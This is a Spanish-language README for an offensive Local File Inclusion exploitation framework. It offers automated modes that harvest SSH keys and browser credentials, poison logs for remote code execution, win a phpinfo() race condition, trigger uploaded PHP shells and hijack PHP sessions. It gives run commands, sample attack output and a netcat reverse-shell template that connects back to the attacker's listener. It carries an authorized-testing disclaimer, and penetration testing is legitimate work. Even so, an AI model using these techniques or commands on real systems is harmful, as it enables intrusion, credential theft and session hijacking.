
Este programa le solicita la información de Inclusión de Archivos Locales y buscará automáticamente el /etc/passwd y, utilizando los nombres de usuarios encontrados, buscará y descargará cualquier clave SSH o variación de claves al ordenador local. Este programa también realiza el exploit de ruta traversal CVE-2021-41773_ para Apache 2.4.49 y 50. Además de otras vulnerabilidades LFI.
🔥 LFI-Destruction – Framework de Pruebas de Penetración Autorizadas LFI-Destroyer es un framework completo y modular de explotación de Inclusión Local de Archivos (LFI) diseñado para profesionales de seguridad autorizados. Combina múltiples técnicas de ataque en una sola herramienta fácil de usar:
Fuzzing de Artefactos SSH y del Navegador – Busca claves SSH, Putty PPK, WinSCP, FileZilla, Firefox, Chrome, Edge y Brave credentials en Linux y Windows.
Envenenamiento de Logs → Reverse Shell – RCE automático a través de archivos de log escribibles con soporte de payload personalizado.
RCE por Condición de Carrera en phpinfo() – LFI2RCE completamente automatizado cuando file_uploads=On y phpinfo() es accesible.
Disparador de Archivo Subido – Incluir y ejecutar un shell PHP ya subido mediante LFI.
Enumeración de Sesiones PHP – Descargar y decodificar archivos de sesión para secuestro.
LFI-OSCP.py
ES la versión segura para el examen OSCP que tiene 0 auto-exploits. Básicamente es un fuzzer muy bonito que, una vez que confirma el exploit, imprime instrucciones manuales sobre cómo realizar el exploit.
⚠️ AVISO LEGAL Esta herramienta es solo para fines educativos y pruebas de seguridad autorizadas. Debe tener permiso explícito por escrito del propietario del sistema antes de usarla. El acceso no autorizado a sistemas informáticos es ilegal y poco ético. El autor no asume ninguna responsabilidad por el uso indebido o daños causados por esta herramienta.
📦 Instalación
# 1. Clonar el repositorio
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer
# 2. Instalar dependencias (solo colorama es requerido; los demás son opcionales)
pip install colorama
# 3. Hacer ejecutable el script principal
chmod +x LFI-Destroyer.py
🚀 Inicio Rápido – Modo 1 (Fuzzing de Artefactos SSH / Navegador)
python3 LFI-Destroyer.py
Seleccione Linux o Windows.
LFI-Destruction/ LFI-Destruction.py
modes/init.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py
artifacts/
README.md
Elija el modo de ataque 1.
Siga las indicaciones para configurar su punto final LFI.
El script enumerará automáticamente los usuarios, verificará la existencia (Windows usa NTUSER.DAT como baliza) y realizará fuzzing recursivo en busca de claves SSH, credenciales de navegador y otros archivos sensibles.
Todos los artefactos se guardan en el directorio ./artifacts/.
📝 Modo 2 – Envenenamiento de Logs y Reverse Shell
python3 LFI-Destroyer.py --log-poisoning --log-vector ua
O ejecute de forma interactiva y seleccione el modo 2.
Qué sucede:
system($_GET['cmd']).id (Linux) o whoami (Windows).Reverse shell personalizado:
python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"
Los marcadores {lhost} y {lport} se reemplazarán con su IP/puerto del listener.
🧪 BETA – Modo 3: RCE por Condición de Carrera en phpinfo()
Estado: Beta – Funciona de manera confiable en servidores PHP mal configurados con file_uploads=On y phpinfo() accesible.
Requisitos previos:
file_uploads = On (detectado automáticamente)post_max_size ≥ upload_max_filesize (detectado automáticamente)phpinfo() (el script fuerza bruta ubicaciones comunes)Ejecutar:
python3 LFI-Destroyer.py
# Seleccionar modo 3
Proporcionar detalles LFI como de costumbre
El script:
- Fuerza bruta phpinfo() (wordlist específica del SO)
- Analiza upload_max_filesize y post_max_size
- Ejecuta el ataque de condición de carrera (subida + LFI)
- Confirma RCE
- Ofrece reverse shell
Ejemplo de salida:
[*] Bruteforcing phpinfo.php (45 paths) ...
[+] Found phpinfo.php at http://192.168.1.100/phpinfo.php
[+] file_uploads=On (max size: 8M)
[+] Attempt race condition RCE? (y/N): y
[*] Race attempt 1/3 ...
[+] Extracted temporary file path: /tmp/phpABC123
[+] RCE confirmed via temporary file!
[!] LOG POISONING SUCCESSFUL! Ready to escalate to reverse shell.
🧪 BETA – Modo 4: Disparador de Archivo Subido Estado: Beta – Asume que ya ha subido un shell PHP (por ejemplo, a través de otra vulnerabilidad o subida manual). El script entonces usa LFI para incluirlo y ejecutar comandos.
Dos modos de operación:
uploads/shell.php).Ejecutar:
python3 LFI-Destroyer.py
# Seleccionar modo 4
Ingrese la ruta o 'brute'
El script:
- Intenta incluir LFI con ?cmd=whoami
- Si tiene éxito, muestra la salida y ofrece reverse shell
Ejemplo:
Enter path to uploaded file (relative to web root), or 'brute' to try common locations: uploads/shell.php
[*] Trying uploads/shell.php ...
[+] SUCCESS! Shell executed at uploads/shell.php
[+] Command output:
www-data
Attempt reverse shell? (y/N): y
🧪 BETA – Modo 5: Enumeración y Secuestro de Sesiones PHP
Estado: Beta – Lee archivos de sesión desde session.save_path (determinado mediante phpinfo() o wordlist de respaldo), los guarda e intenta decodificación base64 cuando es necesario.
Ejecutar:
python3 LFI-Destroyer.py
# Seleccionar modo 5
Proporcione el ID de sesión o 'list' para enumerar
Ejemplos:
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: abc123
[*] Reading /var/lib/php/sessions/sess_abc123 ...
[+] Session file retrieved!
[--- SESSION DATA (raw) ---]
username|s:5:"admin";user_id|i:1;
Listado de directorio de sesiones (si la indexación de directorios está habilitada):
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: list
[+] Found 12 session files:
- sess_abc123
- sess_def456
...
Todos los archivos de sesión se guardan en artifacts/session_*.
Si los datos parecen estar codificados en base64, el script intenta automáticamente el bypass php://filter/convert.base64-decode y guarda una versión decodificada.
🧠 Modo Avanzado (-adv)
Habilita técnicas LFI adicionales:
php://filter, data://, expect://)python3 LFI-Destroyer.py -adv
⚙️ Banderas de Línea de Comandos
Los modos 3, 4 y 5 se cargan dinámicamente desde el directorio modes/.
Puede añadir fácilmente nuevos modos colocando un archivo Python con una función run(config, fuzzer).
🧰 Requisitos
colorama (opcional, para salida coloreada)📜 Licencia y Autor
Escrito por RevShellXD
Licenciado bajo la Licencia MIT – libre para profesionales de seguridad autorizados.
Para fines educativos y pruebas autorizadas únicamente.
Si infringe la ley con esta herramienta, usted es el único responsable.
⭐ Estrella y Contribuye
Si encuentra útil esta herramienta, por favor dé una estrella al repositorio en GitHub.
Las solicitudes de extracción y nuevas contribuciones de modos son bienvenidas – siga la interfaz simple del módulo en modes/__init__.py.
| Flag | Descripción |
|---|
--os {linux,windows} | Forzar sistema operativo objetivo |
--auto-depth | Detección automática de profundidad de traversal |
--wordlist FILE | Wordlist personalizada de rutas de archivos (sobrescribe las del SO) |
--userlist FILE | Lista personalizada de nombres de usuario de Windows (modo 1) |
--beacon-file PATH | Archivo baliza personalizado (por defecto: NTUSER.DAT) |
--custom-shell CMD | Comando personalizado de reverse shell (usar {lhost} y {lport}) |
--log-poisoning | Habilitar modo 2 desde CLI (sin selección interactiva de modo) |
--log-vector {ua,referer,xff,header,param} | Vector de inyección para envenenamiento de logs |
--log-header NAME | Nombre de cabecera personalizado (para vector=header) |
--log-param NAME | Nombre de parámetro personalizado (para vector=param) |
--log-files FILE | Lista personalizada de rutas de log |
--rce-command CMD | Comando de prueba para verificación de RCE |
--proxy URL | Proxy HTTP (ej. http://127.0.0.1:8080) |
--rate FLOAT | Retardo entre peticiones (segundos) |
--output FILE | Guardar resultados en JSON |
--dry-run | Prueba de configuración – no enviar peticiones |
--no-color | Deshabilitar salida coloreada |